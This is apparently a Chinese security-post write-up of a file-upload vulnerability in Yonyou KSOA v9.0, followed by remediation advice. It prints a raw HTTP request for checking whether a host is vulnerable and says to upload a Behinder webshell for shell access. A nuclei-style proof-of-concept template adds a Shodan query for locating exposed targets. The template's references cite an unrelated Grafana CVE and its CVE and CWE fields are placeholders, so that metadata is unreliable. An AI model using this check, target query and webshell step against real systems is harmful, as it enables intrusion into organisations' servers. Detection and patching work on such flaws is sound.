声明:本文分享的安全工具和项目均来源于网络,仅供安全研究与学习之用,
如用于其他用途,由使用者承担全部法律及连带责任,与工具作者和本公众号无关。
用友时空企业信息融通平台KSOA v9.0
漏洞危害
/servlet/com.sksoft.bill.ImageUpload
返回null即存在漏洞
漏洞利用
GET /servlet/com.sksoft.bill.ImageUpload HTTP/1.1
Host: IP
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.93 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 7
getshell:
上传冰蝎马
修复建议
1、对上传文件类型进行验证,除在前端验证外在后端依然要做验证,后端可以进行扩展名检测,重命名文件,MIME类型检测以及限制上传文件的大小等限制来防御,或是将上传的文件其他文件存储服务器中。
2、严格限制和校验上传的文件,禁止上传恶意代码的文件。
3、建议使用 OSS 静态存储服务器来存储用户上传的文件。
4、设置目录权限限制,禁止上传目录的执行权限。
5、服务端采用白名单方式校验文件后缀,不建议采用黑名单方式校验后缀,黑名单方式校验可能导致攻击者利用文件特性、系统特性、黑名单不全等方式进行绕过攻击。
6、服务端对上传文件进行重命名,防止利用目录跳转等方式控制上传目录。
7、服务端使用系统函数来判断文件类型及文件内容是否合法。
8、对上传的文件回显相对路径或者不显示路径。
id: poc-yaml-ksoa_upload # POC 的唯一标识符
info:
name: ksoa_upload # POC 的名称
author: god_mellon # POC 的作者
severity: high
description: ksoa_V9.0
reference:
- https://grafana.com/blog/2021/12/08/an-update-on-0day-cve-2021-43798-grafana-directory-traversal/
- https://nosec.org/home/detail/4914.html
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE
cwe-id: CWE
metadata:
shodan-query: title:"企业信息系统门户"
tags: ksoa
http:
- method: GET
path:
- "{{BaseURL}}/servlet/com.sksoft.bill.ImageUpload"
matchers-condition: and
matchers:
- type: word
part: body
words:
- "null"
condition: and
- type: status
status:
- 200